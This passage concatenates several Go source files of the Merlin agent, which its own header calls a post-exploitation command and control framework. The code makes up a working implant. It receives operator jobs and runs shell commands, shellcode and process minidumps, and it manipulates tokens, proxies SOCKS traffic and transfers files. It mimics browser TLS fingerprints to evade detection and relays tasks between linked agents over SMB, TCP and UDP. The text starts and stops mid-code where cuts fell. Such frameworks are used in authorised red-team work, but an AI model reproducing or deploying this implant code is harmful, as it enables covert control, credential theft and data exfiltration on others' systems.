a.MaxRetry())) os.Exit(0) } else { cli.Message(cli.NOTE, fmt.Sprintf("%d out of %d total failed checkins", a.Failed(), a.MaxRetry())) } } } } } } } ================================================ FILE: services/agent/agent.go ================================================ /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ // Package agent is a service to manage Agent structures package agent import ( // Standard "strconv" "time" // Internal "github.com/Ne0nd0g/merlin-agent/v2/agent" "github.com/Ne0nd0g/merlin-agent/v2/agent/memory" "github.com/Ne0nd0g/merlin-agent/v2/clients" clientMemory "github.com/Ne0nd0g/merlin-agent/v2/clients/memory" "github.com/Ne0nd0g/merlin-agent/v2/core" "github.com/Ne0nd0g/merlin-message" ) // Service is the structure used to interact with Agent objects type Service struct { AgentRepo agent.Repository ClientRepo clients.Repository } // memoryService is an in-memory instantiation of the agent service var memoryService *Service // NewAgentService is a factory that returns an Agent Service func NewAgentService() *Service { if memoryService == nil { memoryService = &Service{ AgentRepo: withAgentMemoryRepository(), ClientRepo: withClientMemoryRepository(), } } return memoryService } // withAgentMemoryRepository gets an in-memory Agent repository structure and returns it func withAgentMemoryRepository() agent.Repository { return memory.NewRepository() } // withClientMemoryRepository gets an in-memory Agent Client repository structure and returns it func withClientMemoryRepository() clients.Repository { return clientMemory.NewRepository() } // Add stores the provided agent object in the repository func (s *Service) Add(agent agent.Agent) { s.AgentRepo.Add(agent) } // AgentInfo builds an AgentInfo structure from the information stored in the Agent and Client repositories func (s *Service) AgentInfo() messages.AgentInfo { a := s.AgentRepo.Get() comms := a.Comms() h := a.Host() p := a.Process() c := s.ClientRepo.Get() sysInfoMessage := messages.SysInfo{ HostName: h.Name, Platform: h.Platform, Architecture: h.Architecture, Ips: h.IPs, Process: p.Name, Pid: p.ID, Integrity: p.Integrity, UserName: p.UserName, UserGUID: p.UserGUID, Domain: p.Domain, } padding, _ := strconv.Atoi(c.Get("paddingmax")) agentInfoMessage := messages.AgentInfo{ Version: core.Version, Build: core.Build, WaitTime: comms.Wait.String(), PaddingMax: padding, MaxRetry: comms.Retry, FailedCheckin: comms.Failed, Skew: comms.Skew, Proto: c.Get("protocol"), SysInfo: sysInfoMessage, KillDate: comms.Kill, JA3: c.Get("ja3"), } return agentInfoMessage } // Get returns the single Agent object stored in the repository, because there can only be one func (s *Service) Get() agent.Agent { return s.AgentRepo.Get() } // IncrementFailed increases the Agent's failed checkin count by one func (s *Service) IncrementFailed() { a := s.AgentRepo.Get() c := a.Comms() c.Failed++ s.AgentRepo.SetComms(c) } // SetAuthenticated updates the Agent's authenticated status func (s *Service) SetAuthenticated(authenticated bool) { s.AgentRepo.SetAuthenticated(authenticated) } // SetFailedCheckIn updates the number of times the Agent has already failed to check in with the provided value func (s *Service) SetFailedCheckIn(failed int) { s.AgentRepo.SetFailedCheckIn(failed) } // SetInitialCheckIn updates the time stamp of when the Agent first successfully check in func (s *Service) SetInitialCheckIn(checkin time.Time) { s.AgentRepo.SetInitialCheckIn(checkin) } // SetKillDate updates the date, as an epoch timestamp, that the Agent will quit running func (s *Service) SetKillDate(date int64) { s.AgentRepo.SetKillDate(date) } // SetMaxRetry updates the number of times the Agent can fail to check in before it quits running func (s *Service) SetMaxRetry(retries int) { s.AgentRepo.SetMaxRetry(retries) } // SetSkew updates the amount of jitter or skew that is applied to an Agent's sleep time func (s *Service) SetSkew(skew int64) { s.AgentRepo.SetSkew(skew) } // SetSleep updates the amount of time an Agent will sleep between checkins func (s *Service) SetSleep(sleep time.Duration) { s.AgentRepo.SetSleep(sleep) } // SetStatusCheckIn updates the time stamp of when this Agent last successfully connected to the Server or parent Agent func (s *Service) SetStatusCheckIn(checkin time.Time) { s.AgentRepo.SetStatusCheckIn(checkin) } ================================================ FILE: services/client/client.go ================================================ /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ // Package client is a service to manager Merlin command and control communication clients package client import ( "fmt" // Internal "github.com/Ne0nd0g/merlin-agent/v2/clients" "github.com/Ne0nd0g/merlin-agent/v2/clients/memory" "github.com/Ne0nd0g/merlin-message" "strings" ) // Service is the structure used to interact with Client objects type Service struct { ClientRepo clients.Repository } // memoryService is an in-memory instantiation of the client service var memoryService *Service // NewClientService is the factory to create a new service for working with Merlin C2 clients func NewClientService() *Service { if memoryService == nil { memoryService = &Service{ ClientRepo: withMemoryClientRepo(), } } return memoryService } // withMemoryClientRepo gets an in-memory Client repository structure and returns it func withMemoryClientRepo() clients.Repository { return memory.NewRepository() } // Add saves the input Client into the repository func (s *Service) Add(client clients.Client) { s.ClientRepo.Add(client) } // Authenticate initiates the Client's authentication function to authenticate this Agent to the Merlin server // the input msg is used to pass authentication data when the authenticator requires multiple trips func (s *Service) Authenticate(msg messages.Base) error { return s.ClientRepo.Get().Authenticate(msg) } // Connect instructs the Client to disconnect from its current server and connect to the new provided target func (s *Service) Connect(addr string) (err error) { client := s.ClientRepo.Get() err = client.Set("addr", addr) return } // Get returns the Agent's current communication client from the repository func (s *Service) Get() clients.Client { return s.ClientRepo.Get() } // Initial starts the Client's initialization route used to start a new connection with Merlin server func (s *Service) Initial() error { return s.ClientRepo.Get().Initial() } // Listen executes a Client's protocol-specific function to listen for incoming messages and returns them func (s *Service) Listen() ([]messages.Base, error) { return s.ClientRepo.Get().Listen() } // Reset resets the client's listener to its initial state to allow for a new connection func (s *Service) Reset() (err error) { client := s.ClientRepo.Get() proto := client.Get("protocol") switch strings.ToLower(proto) { case "udp-bind": err = client.Set("bind", "") default: err = fmt.Errorf("services/client.Reset(): protocol %s not supported", proto) } return } // Send takes in a Base message and uses the Agent's Client to send it to the Merlin server or parent Agent func (s *Service) Send(msg messages.Base) ([]messages.Base, error) { return s.ClientRepo.Get().Send(msg) } // SetJA3 updates the HTTP client's JA3 signature to the provided value func (s *Service) SetJA3(ja3 string) error { return s.ClientRepo.SetJA3(ja3) } // SetListener updates the listener ID used with peer-to-peer clients func (s *Service) SetListener(listener string) error { return s.ClientRepo.SetListener(listener) } // SetPadding updates the maximum amount of random padding added to each Base message func (s *Service) SetPadding(padding string) error { return s.ClientRepo.SetPadding(padding) } // SetParrot updates the HTTP client's configuration to parrot the provided browser func (s *Service) SetParrot(parrot string) error { return s.ClientRepo.SetParrot(parrot) } // Synchronous returns if the client doesn't sleep (synchronous) or if it does sleep (asynchronous) func (s *Service) Synchronous() bool { return s.ClientRepo.Get().Synchronous() } ================================================ FILE: services/job/job.go ================================================ /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ // Package job is a service to consume, process, and return Agent jobs package job import ( // Standard "fmt" "os" "strconv" "strings" "time" // 3rd Party "github.com/google/uuid" // Merlin "github.com/Ne0nd0g/merlin-message/jobs" // Internal "github.com/Ne0nd0g/merlin-agent/v2/cli" "github.com/Ne0nd0g/merlin-agent/v2/commands" "github.com/Ne0nd0g/merlin-agent/v2/services/agent" "github.com/Ne0nd0g/merlin-agent/v2/services/client" "github.com/Ne0nd0g/merlin-agent/v2/socks" ) // Service is the structure used to interact with job objects type Service struct { Agent uuid.UUID AgentService *agent.Service ClientService *client.Service } // memoryService is an in-memory instantiation of the job service var memoryService *Service // in is a channel of incoming or input jobs for the agent to handle var in = make(chan jobs.Job, 100) // out is a channel of outgoing job results for the agent to send back to the server var out = make(chan jobs.Job, 100) func init() { // Start go routine that checks for jobs or tasks to execute go execute() } // NewJobService is the factory to create a new service for handling Jobs func NewJobService(agentID uuid.UUID) *Service { if memoryService == nil { memoryService = &Service{ Agent: agentID, AgentService: agent.NewAgentService(), ClientService: client.NewClientService(), } } return memoryService } // AddResult creates a Job Results structure and places it in the outgoing channel func (s *Service) AddResult(agent uuid.UUID, stdOut, stdErr string) { cli.Message(cli.DEBUG, fmt.Sprintf("services/job.AddResult(): entering into function with agent: %s, stdOut: %s, stdErr: %s", agent, stdOut, stdErr)) result := jobs.Results{ Stdout: stdOut, Stderr: stdErr, } job := jobs.Job{ AgentID: agent, Type: jobs.RESULT, Payload: result, } out <- job } // Get blocks waiting for a job from the out channel func (s *Service) Get() []jobs.Job { cli.Message(cli.DEBUG, "services/job.Get(): entering into function") job := <-out cli.Message(cli.DEBUG, fmt.Sprintf("services/job.Check(): leaving function with: %+v", job)) return []jobs.Job{job} } // Check does not block and returns any jobs ready to be returned to the Merlin server func (s *Service) Check() (returnJobs []jobs.Job) { cli.Message(cli.DEBUG, "services/job.Check(): entering into function") // Check the output channel for { if len(out) > 0 { job := <-out returnJobs = append(returnJobs, job) } else { break } } cli.Message(cli.DEBUG, fmt.Sprintf("services/job.Check(): Leaving function with %+v", returnJobs)) return returnJobs } // Control handles jobs that have the CONTROL type used to configure the Agent or the network communication client func (s *Service) Control(job jobs.Job) { cli.Message(cli.DEBUG, fmt.Sprintf("services/job.Control(): entering into function with %+v", job)) cmd := job.Payload.(jobs.Command) cli.Message(cli.NOTE, fmt.Sprintf("Received Agent Control Message: %s", cmd.Command)) var results jobs.Results switch strings.ToLower(cmd.Command) { case "agentinfo": // No action required; End of function gets and returns an Agent information structure case "connect": if len(cmd.Args) < 1 { results.Stderr = fmt.Sprintf("the \"connect\" command requires 1 argument, the new address, but received %d", len(cmd.Args)) break } // Instruct the Agent to connect to the provided target err := s.ClientService.Connect(cmd.Args[0]) if err != nil { results.Stderr = fmt.Sprintf("there was an error changing the client's connection address: %s", err) } case "exit": os.Exit(0) case "initialize": cli.Message(cli.NOTE, "Received agent re-initialize message") s.AgentService.SetAuthenticated(false) case "ja3": if len(cmd.Args) < 1 { results.Stderr = fmt.Sprintf("the ja3 control command requires 1 argument but received %d", len(cmd.Args)) break } err := s.ClientService.SetJA3(cmd.Args[0]) if err != nil { results.Stderr = fmt.Sprintf("there was an error setting the client's JA3 string:\r\n%s", err.Error()) } case "killdate": if len(cmd.Args) < 1 { results.Stderr = fmt.Sprintf("the killdate control command requires 1 argument but received %d", len(cmd.Args)) break } d, err := strconv.Atoi(cmd.Args[0]) if err != nil { results.Stderr = fmt.Sprintf("there was an error converting the kill date to an integer: %s", err) break } s.AgentService.SetKillDate(int64(d)) cli.Message(cli.INFO, fmt.Sprintf("Set Kill Date to: %s", time.Unix(int64(d), 0).UTC().Format(time.RFC3339))) case "listener": if len(cmd.Args) < 1 { results.Stderr = fmt.Sprintf("the listener control command requires 1 argument but received %d", len(cmd.Args)) break } err := s.ClientService.SetListener(cmd.Args[0]) if err != nil { results.Stderr = fmt.Sprintf("there was an error changing the Agent's listener ID: %s", err) break } cli.Message(cli.NOTE, fmt.Sprintf("Changing the Agent's Listener ID to %s", cmd.Args[0])) case "maxretry": if len(cmd.Args) < 1 { results.Stderr = fmt.Sprintf("the maxretry control command requires 1 argument but received %d", len(cmd.Args)) break } t, err := strconv.Atoi(cmd.Args[0]) if err != nil { results.Stderr = fmt.Sprintf("There was an error changing the agent max retries: %s", err) break } s.AgentService.SetMaxRetry(t) cli.Message(cli.NOTE, fmt.Sprintf("Setting agent max retries to %d", t)) case "padding": if len(cmd.Args) < 1 { results.Stderr = fmt.Sprintf("the padding control command requires 1 argument but received %d", len(cmd.Args)) break } err := s.ClientService.SetPadding(cmd.Args[0]) if err != nil { results.Stderr = fmt.Sprintf("there was an error changing the agent message padding size: %s", err) break } cli.Message(cli.NOTE, fmt.Sprintf("Setting agent message maximum padding size to %s", cmd.Args[0])) case "parrot": if len(cmd.Args) < 1 { results.Stderr = fmt.Sprintf("the parrot command requires 1 argument but received %d", len(cmd.Args)) break } err := s.ClientService.SetParrot(cmd.Args[0]) if err != nil { results.Stderr = fmt.Sprintf("there was an error setting the HTTP client's parrot value: %s", err) break } cli.Message(cli.NOTE, fmt.Sprintf("Setting agent HTTP client parrot value to %s", cmd.Args[0])) case "reset": // Reset, or unlink, the client's listener err := s.ClientService.Reset() if err != nil { results.Stderr = fmt.Sprintf("there was an error resetting the client's listener:%s", err) out <- jobs.Job{ ID: job.ID, AgentID: s.Agent, Token: job.Token, Type: jobs.RESULT, Payload: results, } } return case "skew": if len(cmd.Args) < 1 { results.Stderr = fmt.Sprintf("the skew control command requires 1 argument but received %d", len(cmd.Args)) break } t, err := strconv.ParseInt(cmd.Args[0], 10, 64) if err != nil { results.Stderr = fmt.Sprintf("there was an error changing the agent skew interval: %s", err) break } s.AgentService.SetSkew(t) cli.Message(cli.NOTE, fmt.Sprintf("Setting agent skew interval to %d", t)) case "sleep": if len(cmd.Args) < 1 { results.Stderr = fmt.Sprintf("the skew control command requires 1 argument but received %d", len(cmd.Args)) break } t, err := time.ParseDuration(cmd.Args[0]) if err != nil { results.Stderr = fmt.Sprintf("there was an error changing the agent waitTime: %s", err) break } s.AgentService.SetSleep(t) cli.Message(cli.NOTE, fmt.Sprintf("Setting agent sleep time to %s", cmd.Args[0])) default: results.Stderr = fmt.Sprintf("%s is not a valid AgentControl message type.", cmd.Command) } // Add the result message to the job queue // Only one job using the token can be returned, so it is either an error message or the AgentInfo structure if results.Stderr != "" { out <- jobs.Job{ ID: job.ID, AgentID: s.Agent, Token: job.Token, Type: jobs.RESULT, Payload: results, } return } if results.Stderr != "" { cli.Message(cli.WARN, results.Stderr) } if results.Stdout != "" { cli.Message(cli.SUCCESS, results.Stdout) } aInfo := jobs.Job{ ID: job.ID, AgentID: s.Agent, Token: job.Token, Type: jobs.AGENTINFO, } aInfo.Payload = s.AgentService.AgentInfo() out <- aInfo cli.Message(cli.DEBUG, fmt.Sprintf("services/job.Control(): leaving function with %+v", aInfo)) } // Handle takes a list of jobs and places them into a job channel if they are a valid type, so they can be executed func (s *Service) Handle(Jobs []jobs.Job) { cli.Message(cli.DEBUG, fmt.Sprintf("services/job.Handle(): entering into function with %+v", Jobs)) for _, job := range Jobs { // If the job belongs to this agent if job.AgentID == s.Agent { cli.Message(cli.SUCCESS, fmt.Sprintf("%s job type received!", job.Type)) switch job.Type { case jobs.FILETRANSFER: in <- job case jobs.CONTROL: s.Control(job) case jobs.CMD: in <- job case jobs.MODULE: in <- job case jobs.SHELLCODE: cli.Message(cli.NOTE, "Received Execute shellcode command") in <- job case jobs.NATIVE: in <- job // When AgentInfo or Result messages fail to send, they will circle back through the handler case jobs.AGENTINFO: out <- job case jobs.RESULT: out <- job case jobs.SOCKS: socks.Handler(job, &out) default: var result jobs.Results result.Stderr = fmt.Sprintf("%s is not a valid job type", job.Type) out <- jobs.Job{ ID: job.ID, AgentID: s.Agent, Token: job.Token, Type: jobs.RESULT, Payload: result, } } } } cli.Message(cli.DEBUG, "services/job.Handle(): leaving function") } // execute is executed a go routine that regularly checks for jobs from the in channel, executes them, and returns results to the out channel func execute() { for { var result jobs.Results job := <-in // Need a go routine here so that way a job or command doesn't block go func(job jobs.Job) { switch job.Type { case jobs.CMD: result = commands.ExecuteCommand(job.Payload.(jobs.Command)) case jobs.FILETRANSFER: if job.Payload.(jobs.FileTransfer).IsDownload { result = commands.Download(job.Payload.(jobs.FileTransfer)) } else { ft, err := commands.Upload(job.Payload.(jobs.FileTransfer)) if err != nil { result.Stderr = err.Error() } out <- jobs.Job{ AgentID: job.AgentID, ID: job.ID, Token: job.Token, Type: jobs.FILETRANSFER, Payload: ft, } } case jobs.MODULE: switch strings.ToLower(job.Payload.(jobs.Command).Command) { case "clr": result = commands.CLR(job.Payload.(jobs.Command)) case "createprocess": result = commands.CreateProcess(job.Payload.(jobs.Command)) case "link": result = commands.Link(job.Payload.(jobs.Command)) case "listener": result = commands.Listener(job.Payload.(jobs.Command)) case "memfd": result = commands.Memfd(job.Payload.(jobs.Command)) case "memory": result = commands.Memory(job.Payload.(jobs.Command)) case "minidump": ft, err := commands.MiniDump(job.Payload.(jobs.Command)) if err != nil { result.Stderr = err.Error() } out <- jobs.Job{ AgentID: job.AgentID, ID: job.ID, Token: job.Token, Type: jobs.FILETRANSFER, Payload: ft, } case "netstat": result = commands.Netstat(job.Payload.(jobs.Command)) case "runas": result = commands.RunAs(job.Payload.(jobs.Command)) case "pipes": result = commands.Pipes() case "ps": result = commands.PS() case "ssh": result = commands.SSH(job.Payload.(jobs.Command)) case "unlink": result = commands.Unlink(job.Payload.(jobs.Command)) case "uptime": result = commands.Uptime() case "token": result = commands.Token(job.Payload.(jobs.Command)) default: result.Stderr = fmt.Sprintf("unknown module command: %s", job.Payload.(jobs.Command).Command) } case jobs.NATIVE: result = commands.Native(job.Payload.(jobs.Command)) case jobs.SHELLCODE: result = commands.ExecuteShellcode(job.Payload.(jobs.Shellcode)) case jobs.SOCKS: socks.Handler(job, &out) return default: result.Stderr = fmt.Sprintf("Invalid job type: %d", job.Type) } out <- jobs.Job{ AgentID: job.AgentID, ID: job.ID, Token: job.Token, Type: jobs.RESULT, Payload: result, } }(job) } } ================================================ FILE: services/message/message.go ================================================ /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ // Package message is a service to process and return Agent Base messages package message import ( // Standard "fmt" // 3rd Party "github.com/google/uuid" // Merlin "github.com/Ne0nd0g/merlin-message" "github.com/Ne0nd0g/merlin-message/jobs" // Internal "github.com/Ne0nd0g/merlin-agent/v2/cli" "github.com/Ne0nd0g/merlin-agent/v2/services/client" "github.com/Ne0nd0g/merlin-agent/v2/services/job" "github.com/Ne0nd0g/merlin-agent/v2/services/p2p" ) // Service is the structure used to interact with message objects type Service struct { Agent uuid.UUID ClientService *client.Service P2PService *p2p.Service JobService *job.Service } // memoryService is an in-memory instantiation of the message service var memoryService *Service // out is a channel of outgoing Base messages for the agent to send back to the server var out = make(chan messages.Base, 100) // NewMessageService is the factory to create a new service for handling base messages func NewMessageService(agent uuid.UUID) *Service { if memoryService == nil { memoryService = &Service{ Agent: agent, ClientService: client.NewClientService(), P2PService: p2p.NewP2PService(), JobService: job.NewJobService(agent), } } return memoryService } // Check does not block but looks to see if there are any jobs or delegates that need to be returned to the Merlin server func (s *Service) Check() (msg messages.Base) { cli.Message(cli.DEBUG, "services/message.Check(): entering into function") msg.ID = s.Agent // Check to see if there are any Jobs to be returned to the Merlin server returnJobs := s.JobService.Check() if len(returnJobs) > 0 { msg.Type = messages.JOBS msg.Payload = returnJobs } else { msg.Type = messages.CHECKIN } // Check to see if there are any Delegate messages from a child Agent that need to be returned to the Merlin server delegates := s.P2PService.Check() if len(delegates) > 0 { msg.Delegates = delegates } cli.Message(cli.DEBUG, fmt.Sprintf("services/message.Check(): leaving function with %+v", msg)) return } // Get blocks until there is a return base message to send back to the Merlin server func (s *Service) Get() (msg messages.Base) { cli.Message(cli.DEBUG, "services/message.Get(): entering into function") msg = <-out cli.Message(cli.DEBUG, fmt.Sprintf("services/message.Get(): leaving function with %+v", msg)) return } // GetDelegates blocks waiting for a delegate message that needs to be returned to the Merlin server and adds it to the // out channel as a Base message type of CHECKIN because it will not be aggregated with other return message types. // Used when the Agent doesn't sleep and only communicates when there is a message to send func (s *Service) GetDelegates() { cli.Message(cli.DEBUG, "services/message.getDelegates(): entering into function") defer cli.Message(cli.DEBUG, "services/message.getDelegates(): leaving function") for { msg := messages.Base{ ID: s.Agent, Type: messages.CHECKIN, Payload: nil, } msg.Delegates = s.P2PService.GetDelegates() out <- msg } } // GetJobs blocks waiting for a return job to exist, adds it to a Base message, and adds it to the out channel. // Used when the Agent doesn't sleep and only communicates when there is a message to send func (s *Service) GetJobs() { cli.Message(cli.DEBUG, "services/message.getJobs(): entering into function") defer cli.Message(cli.DEBUG, "services/message.getJobs(): leaving function") for { msg := messages.Base{ ID: s.Agent, Type: messages.JOBS, } msg.Payload = s.JobService.Get() cli.Message(cli.DEBUG, fmt.Sprintf("services/message.getJobs(): added message Base to outgoing message channel: %+v\n", msg)) out <- msg } } // Handle processes incoming Base messages for this Agent func (s *Service) Handle(msg messages.Base) (err error) { cli.Message(cli.DEBUG, fmt.Sprintf("services/messages.Handle(): Entering into function with: %+v", msg)) defer cli.Message(cli.DEBUG, fmt.Sprintf("services/messages.Handle(): Leaving function with error: %+v", err)) cli.Message(cli.SUCCESS, fmt.Sprintf("%s message type received!", msg.Type)) if msg.ID != s.Agent { cli.Message(cli.WARN, fmt.Sprintf("Input message was not for this agent (%s):\n%+v", s.Agent, msg)) } switch msg.Type { case messages.IDLE: cli.Message(cli.NOTE, "Received idle command, doing nothing") case messages.JOBS: s.JobService.Handle(msg.Payload.([]jobs.Job)) case messages.OPAQUE: err = s.ClientService.Authenticate(msg) if err != nil { s.JobService.AddResult(s.Agent, "", err.Error()) return } case messages.CHECKIN: // Used when the Agent needs to force a checkin with the server by creating and sending a Checkin message out <- msg default: stdErr := fmt.Sprintf("%s is not a valid message type", msg.Type) s.JobService.AddResult(s.Agent, "", stdErr) } // If there are any Delegate messages, send them to the Handler if len(msg.Delegates) > 0 { // Use a go routine so that P2P functions don't block the Agent from continuing go s.P2PService.Handle(msg.Delegates) } return } // Store adds a Base message to the out channel to be sent back to the Merlin server // Used when there is an error sending a message, and it needs to be preserved func (s *Service) Store(msg messages.Base) { cli.Message(cli.DEBUG, fmt.Sprintf("services/messages.Store(): Entering into function with: %+v", msg)) defer cli.Message(cli.DEBUG, "services/messages.Store(): Leaving function...") out <- msg } ================================================ FILE: services/p2p/p2p.go ================================================ /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ // Package p2p is a service to process and return peer-to-peer connection links and delegate messages package p2p import ( // Standard "encoding/binary" "errors" "fmt" "io" "math" "net" "syscall" "time" // 3rd Party "github.com/google/uuid" // Merlin "github.com/Ne0nd0g/merlin-message" // Internal "github.com/Ne0nd0g/merlin-agent/v2/cli" "github.com/Ne0nd0g/merlin-agent/v2/p2p" "github.com/Ne0nd0g/merlin-agent/v2/p2p/memory" ) // Service is the structure used to interact with Link and Delegate objects type Service struct { repo p2p.Repository } // memoryService is an in-memory instantiation of the message service var memoryService *Service // out a global map of Delegate messages that are outgoing from this Agent to its parent or the server var out = make(chan messages.Delegate, 100) // NewP2PService is a factory to create a Service object for interacting with Link and Delegate message objects func NewP2PService() *Service { if memoryService == nil { memoryService = &Service{ repo: withP2PMemoryRepository(), } } return memoryService } // withP2PMemoryRepository creates and returns a repository for peer-to-peer links func withP2PMemoryRepository() p2p.Repository { return memory.NewRepository() } // AddDelegate takes the provided delegate message and adds it to outgoing message channel to be sent to the Merlin server func (s *Service) AddDelegate(delegate messages.Delegate) { cli.Message(cli.DEBUG, fmt.Sprintf("services/p2p.AddDelegate(): entering into function with delegate message for %s, payload size: %d, delegate messages: %d", delegate.Agent, len(delegate.Payload), len(delegate.Delegates))) defer cli.Message(cli.DEBUG, "services/p2p.AddDelegate(): exiting function") out <- delegate } // AddLink stores a Link object in the repository func (s *Service) AddLink(link *p2p.Link) { s.repo.Store(link) } // Connected determines if this Agent is already connected to the target IP address and port and returns it if it is func (s *Service) Connected(agentType int, ip string) (*p2p.Link, bool) { links := s.repo.GetAll() for _, link := range links { if link.Type() == agentType && link.Remote().String() == ip { return link, true } } return nil, false } // Delete removes the peer-to-peer link from the repository without trying to gracefully close the connection func (s *Service) Delete(id uuid.UUID) { s.repo.Delete(id) } // GetLink finds the Link by the provided id from the repository and returns it func (s *Service) GetLink(id uuid.UUID) (*p2p.Link, error) { return s.repo.Get(id) } // GetDelegates blocks waiting for a delegate message that needs to be sent to the parent Agent func (s *Service) GetDelegates() []messages.Delegate { delegate := <-out return []messages.Delegate{delegate} } // Check does not block and returns all delegate messages in the out channel, if any func (s *Service) Check() (delegates []messages.Delegate) { for { if len(out) > 0 { delegate := <-out delegates = append(delegates, delegate) } else { break } } return } // Handle takes in a list of incoming Delegate messages to this parent Agent and sends it to the child or linked Agent func (s *Service) Handle(delegates []messages.Delegate) { cli.Message(cli.DEBUG, fmt.Sprintf("services/p2p.Handle(): entering into function with %d delegate messages", len(delegates))) defer cli.Message(cli.DEBUG, fmt.Sprintf("services/p2p.Handle(): exiting function")) for _, delegate := range delegates { cli.Message(cli.DEBUG, fmt.Sprintf("services/p2p.Handle(): processing delegate message for %s, payload size: %d, delegate messages: %d", delegate.Agent, len(delegate.Payload), len(delegate.Delegates))) link, err := s.repo.Get(delegate.Agent) if err != nil { cli.Message(cli.WARN, err.Error()) continue } // Lock the link so other go routines don't try to write to it at the same time causing the child to receive packets out of order link.Lock() // Tag/Type, Length, Value (TLV) // Determine the message type, which is static right now // uint is 32-bits (4 bytes) tag := make([]byte, 4) binary.BigEndian.PutUint32(tag, uint32(1)) // Going for uint64 (8 bytes) length := make([]byte, 8) binary.BigEndian.PutUint64(length, uint64(len(delegate.Payload))) // Prepend the data length delegate.Payload = append(length, delegate.Payload...) // Prepend the data type/tag delegate.Payload = append(tag, delegate.Payload...) var n int sleep := time.Millisecond * 30 switch link.Type() { case p2p.SMBBIND, p2p.SMBREVERSE: // Split into fragments of MaxSize fragments := int(math.Ceil(float64(len(delegate.Payload)) / float64(p2p.MaxSizeSMB))) cli.Message(cli.DEBUG, fmt.Sprintf("services/p2p.Handle(): SMB data size is: %d, max SMB fragment size is %d, creating %d fragments", len(delegate.Payload), p2p.MaxSizeSMB, fragments)) var i int size := len(delegate.Payload) for i < fragments { start := i * p2p.MaxSizeSMB var stop int // if bytes remaining are less than max size, read until the end if size < p2p.MaxSizeSMB { stop = len(delegate.Payload) } else { stop = (i + 1) * p2p.MaxSizeSMB } n, err = link.Conn().(net.Conn).Write(delegate.Payload[start:stop]) if err != nil { cli.Message(cli.WARN, fmt.Sprintf("services/p2p.Handle(): there was an error writing a message to the linked agent %s: %s\n", link.Conn().(net.Conn).RemoteAddr(), err)) break } cli.Message(cli.DEBUG, fmt.Sprintf("services/p2p.Handle(): Wrote SMB fragment %d of %d", i+1, fragments)) i++ size = size - p2p.MaxSizeSMB } case p2p.TCPBIND, p2p.TCPREVERSE: cli.Message(cli.DEBUG, fmt.Sprintf("services/p2p.Handle(): Writing %d bytes to the linked agent %s at %s at %s\n", len(delegate.Payload), delegate.Agent, link.Remote(), time.Now().UTC().Format(time.RFC3339))) n, err = link.Conn().(net.Conn).Write(delegate.Payload) cli.Message(cli.DEBUG, fmt.Sprintf("services/p2p.Handle(): Wrote %d bytes to the linked agent %s at %s at %s\n", n, delegate.Agent, link.Remote(), time.Now().UTC().Format(time.RFC3339))) case p2p.UDPBIND, p2p.UDPREVERSE: // Needed for space between consecutive delegate messages sleep = time.Second * 1 // Split into fragments of MaxSize fragments := int(math.Ceil(float64(len(delegate.Payload)) / float64(p2p.MaxSizeUDP))) cli.Message(cli.DEBUG, fmt.Sprintf("services/p2p.Handle(): UDP data size is: %d, max UDP fragment size is %d, creating %d fragments", len(delegate.Payload), p2p.MaxSizeUDP, fragments)) var i int size := len(delegate.Payload) for i < fragments { start := i * p2p.MaxSizeUDP var stop int // if bytes remaining are less than max size, read until the end if size < p2p.MaxSizeUDP { stop = len(delegate.Payload) } else { stop = (i + 1) * p2p.MaxSizeUDP } switch link.Type() { case p2p.UDPBIND: n, err = link.Conn().(net.Conn).Write(delegate.Payload[start:stop]) case p2p.UDPREVERSE: n, err = link.Conn().(net.PacketConn).WriteTo(delegate.Payload[start:stop], link.Remote()) } if err != nil { cli.Message(cli.WARN, fmt.Sprintf("services/p2p.Handle(): there was an error writing a message to the linked agent %s: %s\n", link.Conn().(net.Conn).RemoteAddr(), err)) break } cli.Message(cli.DEBUG, fmt.Sprintf("services/p2p.Handle(): Wrote UDP fragment %d of %d", i+1, fragments)) i++ size = size - p2p.MaxSizeUDP // UDP packets seemed to get dropped if too many are sent too fast if fragments > 100 { time.Sleep(time.Millisecond * 10) } } default: cli.Message(cli.WARN, fmt.Sprintf("services/p2p.Handle(): unhandled Agent type: %d", link.Type())) break } if err != nil { if errors.Is(err, syscall.EPIPE) { cli.Message(cli.WARN, fmt.Sprintf("services/p2p.Handle(): the linked agent %s has closed the connection", link.Conn().(net.Conn).RemoteAddr())) } else if errors.Is(err, syscall.ECONNRESET) { cli.Message(cli.WARN, fmt.Sprintf("services/p2p.Handle(): the linked agent %s 